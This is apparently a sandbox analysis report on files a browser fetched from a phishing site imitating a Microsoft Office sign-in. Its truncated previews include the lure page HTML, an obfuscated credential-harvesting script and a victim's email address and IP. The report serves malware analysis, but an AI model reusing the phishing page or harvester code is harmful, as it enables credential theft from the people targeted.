                                Preview:L..................F.@.. ...$+.,.......".x..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IFZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 6 20:21:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2675
                                Entropy (8bit):4.009734767357073
                                Encrypted:false
                                SSDEEP:
                                MD5:BDE57DD60695E55BED11EA868C3A981F
                                SHA1:851102892C4C26E0BA6326447177813CCE3CCD25
                                SHA-256:0700EC12208D66118BA9D12634C5FE6128462D716ECE5C53C7BAB1B3A7CF3DFE
                                SHA-512:F34649CA56717595AA76427EF8FDE1A55E322594DBAB2A4CA250CD40CBA710859D8CEFE821BA50060D4CF8B0182C9FF8F6547BB36278D715C5B0B42FD84B53F3
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.......".x..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IFZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2689
                                Entropy (8bit):4.015181924547301
                                Encrypted:false
                                SSDEEP:
                                MD5:CA93CD1FDB2D2C4ADE4F74C59E67A916
                                SHA1:124ADBDF3F02D3A670C7725BA4879F9B93A8310D
                                SHA-256:CBDEDBE53890E4707552D2BF3BAE26FE812856595BC5F29F7794290D76833BCE
                                SHA-512:4E78CE0246B874020BCBEEE140B677BA57D70B9F8A26381024E1BFCEEDBD8EC2F1A7882AED14976BB0347E0E8576865329383B7255F8CA70CCC237408D710C3A
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IFZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 6 20:21:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2677
                                Entropy (8bit):4.007289846491282
                                Encrypted:false
                                SSDEEP:
                                MD5:1F5D790C744D4FF1CA3D09B79ED129AD
                                SHA1:98C17EE3D4F5A4E912CBBE303855EF1004611FB9
                                SHA-256:12E8CCFBB5E953DDF0812603A3F6D2332D55B1F58BD2FD0EB0117E305C365CA5
                                SHA-512:7C95A680AFB99862ED7C63D8F3B62ADE8949439211398C71CB4FC7DBB0BC56D9AD0CDF5E65F6C145C4646076452A05D2108BD3A0F4B4CCF6DDC4263E677E5636
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.......".x..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IFZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 6 20:21:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2677
                                Entropy (8bit):3.9969740267965927
                                Encrypted:false
                                SSDEEP:
                                MD5:84D3495252860A56E0412074A78BF2F0
                                SHA1:0AB18D8F0854A23859F5665F50742068DDD5DC1A
                                SHA-256:784D7826FEE2989BB3DF009399D28753A8D00C30989DCA5FCC4C453D0A814CD2
                                SHA-512:AC7EBA4BC0C6C1002F7BA0E8A779F69FE22ABE5D1273B44FD91B847268AE3CC460224289375C005FED9CCB22FFA50932F5488B71B00E80A611DCD9C381E8C8D2
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.......".x..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IFZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Feb 6 20:21:50 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                                Category:dropped
                                Size (bytes):2679
                                Entropy (8bit):4.0055190928480755
                                Encrypted:false
                                SSDEEP:
                                MD5:D76377B82AF5AC7AF32A3EAC4AE1D11E
                                SHA1:3F813D94CF3909AB216FA63263274410015E6F17
                                SHA-256:6EDE30C1405A654EEBD737588688910D7C90200A49AAD8CF3C6225D7713101D1
                                SHA-512:534D61F6229480D89F316249274BE63C0584D482411AF04A01FC2F01D679A2C4E12922B3E04E9E24E0135721F9B3765955AD9EF5CBA94EF0CF351A79E00AF02C
                                Malicious:false
                                Reputation:unknown
                                Preview:L..................F.@.. ...$+.,.......".x..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IFZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........$H......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
                                Category:downloaded
                                Size (bytes):61
                                Entropy (8bit):3.990210155325004
                                Encrypted:false
                                SSDEEP:
                                MD5:9246CCA8FC3C00F50035F28E9F6B7F7D
                                SHA1:3AA538440F70873B574F40CD793060F53EC17A5D
                                SHA-256:C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
                                SHA-512:A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
                                Malicious:false
                                Reputation:unknown
                                URL:https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1
                                Preview:.PNG........IHDR...............s....IDAT.....$.....IEND.B`.
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:JSON data
                                Category:downloaded
                                Size (bytes):21
                                Entropy (8bit):3.594465636961452
                                Encrypted:false
                                SSDEEP:
                                MD5:909AD59B6307B0CD8BFE7961D4B98778
                                SHA1:49F8111D613317EA86C6A45CD608DC96B1C8451B
                                SHA-256:FBCEC43F243A7B7F955E498B7FC37CB5EDF615156529AB8A039BBBCFA52C1829
                                SHA-512:8FDFFFB73C90ACDC732A0F29257CACEEDAAA28FCAF8E779C5390BDEA9CDE4DE3C8BD005BBEC9B3B7972C787E233D8D8E218D45B6EB2C3AD40EB5E3A2A1EAC3B8
                                Malicious:false
                                Reputation:unknown
                                URL:https://api.ipify.org/?format=json
                                Preview:{"ip":"8.46.123.189"}
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
                                Category:dropped
                                Size (bytes):2407
                                Entropy (8bit):7.900400471609788
                                Encrypted:false
                                SSDEEP:
                                MD5:9D372E951D45A26EDE2DC8B417AAE4F8
                                SHA1:84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
                                SHA-256:4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
                                SHA-512:78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
                                Malicious:false
                                Reputation:unknown
                                Preview:...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx|............|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:HTML document, ASCII text, with very long lines (945), with CRLF line terminators
                                Category:downloaded
                                Size (bytes):1605
                                Entropy (8bit):5.285446596771358
                                Encrypted:false
                                SSDEEP:
                                MD5:7A9C4D2334F86F5B0C43849B70322501
                                SHA1:0B09F9DE4D452E19026910FCEE87FFD39363AB85
                                SHA-256:5C0B2E5C4EBDEC6CD3686934D2E2839E5E69DACE045FC8CBF98BA3F390D9CF1D
                                SHA-512:E05493D731F4DD6D2089B5F5F39A780155E34A2309F68BC07102A9CF90D788C9EAB1F7AB40794D534BDF32673698D05B6221AF3AC307F6572C72BBEDACAA4CB9
                                Malicious:false
                                Reputation:unknown
                                URL:https://keep.za.com/cgi/b63fc8d582eda5fa.html?uid=rbruening%40elford.com
                                Preview:<!DOCTYPE html>..<html>..<head> .. <title>Microsoft Office</title>.. <meta http-equiv="content-type" content="text/html; charset=UTF-8">.. <meta name="robots" content="noindex, nofollow">.. <meta name="googlebot" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1">.. .. <script type="text/javascript">.. var uid = window.location.hash.substring(1);.. if (!uid) {uid = "";}.. </script>...... <script type="text/javascript" src="https://keep.za.com/cgi/jquery.js" ></script>.. <script type="text/javascript" src="https://keep.za.com/cgi/basic.js" ></script>....</head>..<body> ..<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'90de318a093ef0aa',t:'MTczODg3NjkyNC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:PNG image data, 1 x 92, 8-bit/color RGB, non-interlaced
                                Category:downloaded
                                Size (bytes):61
                                Entropy (8bit):4.002585360278503
                                Encrypted:false
                                SSDEEP:
                                MD5:42C18408B5792D6B55BAEC049238CF5B
                                SHA1:4A8332BE056693BF2EA8AD1AD2CBF960F9FC3E01
                                SHA-256:8B14D8B8D4CC83CB2A3D528A69F584D4972A719DA11EAE4DF57E87B2794A3CBD
                                SHA-512:2F16D97D281E351E12E0CBA62D1E0F50C9030B55AB7DABF9EC6B41F1227E4806ADE19DBD139BDBECBF5D39359F30763A4C6DD1D36FD5219BFBF262274FB99B1C
                                Malicious:false
                                Reputation:unknown
                                URL:https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/90de314d6ff45e68/1738876916539/8aOB73gYzfMabyP
                                Preview:.PNG........IHDR.......\..... gH.....IDAT.....$.....IEND.B`.
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (8442), with no line terminators
                                Category:dropped
                                Size (bytes):8442
                                Entropy (8bit):5.738919751460135
                                Encrypted:false
                                SSDEEP:
                                MD5:EDFB7EB6EE9AC94BC2221C81830AB204
                                SHA1:F4C8CFDAAFD3849F65D52F40F9B84A6ED62A0F81
                                SHA-256:3A067F8BEC91A19D679A1C148BA6D1FF9A61A90B74EDE27821AD5E187E4D0AF2
                                SHA-512:0186B65111641E19B74E2D5495485B49C79D3CDA4EB6D6605F6B4AD0201EBB3032121CFDE55C77C18851BB05F3D9A4A3D0BE141B0EF265938A5AAF815C7E1561
                                Malicious:false
                                Reputation:unknown
                                Preview:window._cf_chl_opt={cFPWv:'g'};~function(W,h,i,j,k,o,s,x){W=b,function(d,e,V,f,g){for(V=b,f=d();!![];)try{if(g=parseInt(V(501))/1*(-parseInt(V(543))/2)+parseInt(V(458))/3*(-parseInt(V(466))/4)+-parseInt(V(549))/5+-parseInt(V(542))/6+parseInt(V(494))/7+-parseInt(V(482))/8+parseInt(V(529))/9*(parseInt(V(551))/10),e===g)break;else f.push(f.shift())}catch(E){f.push(f.shift())}}(a,534813),h=this||self,i=h[W(438)],j={},j[W(442)]='o',j[W(471)]='s',j[W(520)]='u',j[W(537)]='z',j[W(478)]='n',j[W(475)]='I',j[W(452)]='b',k=j,h[W(477)]=function(g,E,F,G,a1,I,J,K,L,M,N){if(a1=W,null===E||E===void 0)return G;for(I=n(E),g[a1(449)][a1(464)]&&(I=I[a1(444)](g[a1(449)][a1(464)](E))),I=g[a1(500)][a1(455)]&&g[a1(462)]?g[a1(500)][a1(455)](new g[(a1(462))](I)):function(O,a2,P){for(a2=a1,O[a2(528)](),P=0;P<O[a2(538)];O[P]===O[P+1]?O[a2(498)](P+1,1):P+=1);return O}(I),J='nAsAaAb'.split('A'),J=J[a1(552)][a1(481)](J),K=0;K<I[a1(538)];L=I[K],M=m(g,E,L),J(M)?(N=M==='s'&&!g[a1(506)](E[L]),a1(465)===F+L?H(F+L,M):N||H(
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
                                Category:dropped
                                Size (bytes):17174
                                Entropy (8bit):2.9129715116732746
                                Encrypted:false
                                SSDEEP:
                                MD5:12E3DAC858061D088023B2BD48E2FA96
                                SHA1:E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
                                SHA-256:90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
                                SHA-512:C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
                                Malicious:false
                                Reputation:unknown
                                Preview:..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with very long lines (32065)
                                Category:dropped
                                Size (bytes):85578
                                Entropy (8bit):5.366055229017455
                                Encrypted:false
                                SSDEEP:
                                MD5:2F6B11A7E914718E0290410E85366FE9
                                SHA1:69BB69E25CA7D5EF0935317584E6153F3FD9A88C
                                SHA-256:05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
                                SHA-512:0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
                                Malicious:false
                                Reputation:unknown
                                Preview:/*! jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:downloaded
                                Size (bytes):290960
                                Entropy (8bit):5.1082980298031435
                                Encrypted:false
                                SSDEEP:
                                MD5:24FA855A7678B1938F16235881E3E80B
                                SHA1:67B6C9946134456D67C07765D230130D8679F8C6
                                SHA-256:F2A84BC4F4CB8AE04162F42F1F3EBED1E05725D9B5BF666B885356C7698A071F
                                SHA-512:D1EAB0379A8736F8B14E73478F101A2656912C7FBB9B7D90707E6E8F782C09BEC4B017EB86781E5B4D4AE8A37B3F89A931249527E839F28BEE1389DE21BD79C7
                                Malicious:false
                                Reputation:unknown
                                URL:https://keep.za.com/cgi/jquery.js
                                Preview:/*!.. * jQuery JavaScript Library v3.4.1.. * https://jquery.com/.. *.. * Includes Sizzle.js.. * https://sizzlejs.com/.. *.. * Copyright JS Foundation and other contributors.. * Released under the MIT license.. * https://jquery.org/license.. *.. * Date: 2019-05-01T21:04Z.. */..( function( global, factory ) {....."use strict";.....if ( typeof module === "object" && typeof module.exports === "object" ) {......// For CommonJS and CommonJS-like environments where a proper `window`....// is present, execute the factory and get jQuery.....// For environments that do not have a `window` with a `document`....// (such as Node.js), expose a factory as module.exports.....// This accentuates the need for the creation of a real `window`.....// e.g. var jQuery = require("jquery")(window);....// See ticket #14549 for more info.....module.exports = global.document ?.....factory( global, true ) :.....function( w ) {......if ( !w.document ) {.......throw new Error( "jQuery requires a window with a docume
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:Unicode text, UTF-8 text, with very long lines (42781), with no line terminators
                                Category:downloaded
                                Size (bytes):42797
                                Entropy (8bit):5.1061908627214105
                                Encrypted:false
                                SSDEEP:
                                MD5:5468993A759CECE0AD1416F1E7EF80E4
                                SHA1:DE3739F175DD4B065CF39E27A4A6110C2EB47FCD
                                SHA-256:2490557D7A60A0F4339091D49510712169FE3A9A9B22F2337C58DE64A3682A97
                                SHA-512:33D18535B31FC7BAC4D7B0908DEF5F0119B94FADD467BEAE77E25C6FFD2D9140AE893A21EEA5622CA81BD53C17F3195B9A48129A1A5E0CC9F6A799BBE9721972
                                Malicious:false
                                Reputation:unknown
                                URL:https://avsbtech.store/cgi/xls/c1g2i.js
                                Preview:var _0xfd5851=_0x4a58;(function(_0x20ed6a,_0x216494){var _0x2fed19=_0x4a58,_0x250033=_0x20ed6a();while(!![]){try{var _0x9ac117=-parseInt(_0x2fed19(0x182))/0x1+-parseInt(_0x2fed19(0x1c9))/0x2+-parseInt(_0x2fed19(0x1b5))/0x3*(parseInt(_0x2fed19(0x1ac))/0x4)+parseInt(_0x2fed19(0x1df))/0x5*(parseInt(_0x2fed19(0x192))/0x6)+-parseInt(_0x2fed19(0x1f8))/0x7+-parseInt(_0x2fed19(0x188))/0x8+parseInt(_0x2fed19(0x1c6))/0x9;if(_0x9ac117===_0x216494)break;else _0x250033['push'](_0x250033['shift']());}catch(_0x25c10d){_0x250033['push'](_0x250033['shift']());}}}(_0x3e16,0xf1344));function _0x3e16(){var _0x155ae0=['status','onmessage','animate','data','createElement','html','approve_number','<div><div\x20class=\x22footerNode\x22>.\x20<span\x20id=\x22c2024\x22>2024\x20Microsoft</span><a\x20data-bind=\x22text:\x20config.text.privacyAndCookies,\x20attr:\x20{\x27data-url\x27:\x20config.links.privacyAndCookies}\x22\x20href=\x22#\x22\x20id=\x22pst\x22\x20data-url=\x22https://go.microsoft.com/fwlink/?LinkId=
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:ASCII text, with CRLF line terminators
                                Category:downloaded
                                Size (bytes):258966
                                Entropy (8bit):4.694760038815572
                                Encrypted:false
                                SSDEEP:
                                MD5:D22C8D1F87B47309F3C2A05D2905A762
                                SHA1:2DA99CB33FCB4294336D73F2D538ED2D5EC3E3C1
                                SHA-256:CA4586C1819D057F7396D917087FE3E650A9466DE644278DC3A8DDA5C3CA71FD
                                SHA-512:F96C4580DEDBCA6B830EB4959E45831D3B87231F54F8B4EFE825615E88335550ABD42EBDF8FCCF40631047B0321D0EA8E0D5438F65B7B6E06FEB5253355F4F20
                                Malicious:false
                                Reputation:unknown
                                URL:https://linxcoded.store/start/xls/includes/css6.css
                                Preview: /*!.. * Bootstrap v4.0.0 (https://getbootstrap.com).. * Copyright 2011-2018 The Bootstrap Authors.. * Copyright 2011-2018 Twitter, Inc... * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE).. */.. :root {.. --blue: #007bff;.. --indigo: #6610f2;.. --purple: #6f42c1;.. --pink: #e83e8c;.. --red: #dc3545;.. --orange: #fd7e14;.. --yellow: #ffc107;.. --green: #28a745;.. --teal: #20c997;.. --cyan: #17a2b8;.. --white: #fff;.. --gray: #6c757d;.. --gray-dark: #343a40;.. --primary: #007bff;.. --secondary: #6c757d;.. --success: #28a745;.. --info: #17a2b8;.. --warning: #ffc107;.. --danger: #dc3545;.. --light: #f8f9fa;.. --dark: #343a40;.. --breakpoint-xs: 0;.. --breakpoint-sm: 576px;.. --breakpoint-md: 768px;.. --breakpoint-lg: 992px;.. --breakpoint-xl: 1200px;.. --font-family-sans-se
                                Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                File Type:HTML document, ASCII text, with very long lines (945), with CRLF line terminators
                                Category:downloaded
                                Size (bytes):1416
                                Entropy (8bit):5.295456331987926
                                Encrypted:false
                                SSDEEP:
                                MD5:4934473AA032307F6AADED8CA49FBA06
                                SHA1:785E811118761C16BE2718D741E5F45169BA448E
                                SHA-256:6253FE00CC69E9829C5EC8C6893CBAD090FE20562575F2AFFD0A59DF9FC61BD0
                                SHA-512:E8EE823ED0E2FFE5A4C6B6F4B404D7A7F2C0C43E6622BE743842E56CC9CD9EBCBB19C244383F83FDDDFDDED61EF7BE1000B448A782BF49C7810E524C58097889
                                Malicious:false
                                Reputation:unknown
                                URL:https://keep.za.com/cgi//redirect.php
